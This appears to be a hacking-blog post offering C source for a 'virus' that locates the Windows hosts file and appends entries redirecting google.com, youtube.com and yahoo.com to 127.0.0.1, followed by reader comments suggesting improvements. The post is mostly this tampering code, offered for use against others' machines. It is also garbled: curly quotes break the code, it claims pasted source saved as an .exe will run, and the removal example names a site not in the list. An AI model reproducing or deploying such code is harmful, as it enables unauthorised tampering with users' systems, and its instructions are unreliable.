i was playing with C language suddenly i got an idea if C language can perform read write and append operation with file then it will definitely it can change host file , i started to write a Virus in C :p i will not explain host file because i have already made a tut on it on our YouTube channel.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking.
Here is the sourcecode of the virus :
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char HC[12]=”127.0.0.1?;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{ /* visit www.H4ck3rCracks.com for more */
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,HC,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
You Have To copy this code and paste it in notepad then save it as block_the_sites.exe
Working and Applying:
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_the_sites.exe restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1————————— facebook.com
5. Delete all such entries which contain the names of blocked sites.
Regards,
Zulqurnain jutt
Why the hell would you want to include -
ReplyDelete#include
#include
instead of including -
#include
And this code is not clean for a "pro" programmer in c++
Mean while why did you used multidimensional array ? -
char site_list[6][30]
Couldnt you just use 1 huge char array and seperate them with lets say http(s):// word?
You did a hell of a mess trying to detect where the windows installation drive is,
You could just use getenv("windir") .
Something else you forgot doin' is to change the premission of the hosts file,
most computers default windows installation got hosts with read only.
If you don't change it, the fille cannot be modified.
Alot more to say, too much for now.
But nice try.
#include XD
ReplyDeleteBtw you got a nice bug here closing tags i guess ?
ReplyDeleteSee if i #include it will auto close it in the end of my msg...
Can get you to alot of trouble :\
well , in uni , they use dump terminals so, they have no admin rights so can't access hosts file which actually block's site , so have a try if you are client it will still have chances to work on , but if dump terminal then it'll not work..
ReplyDelete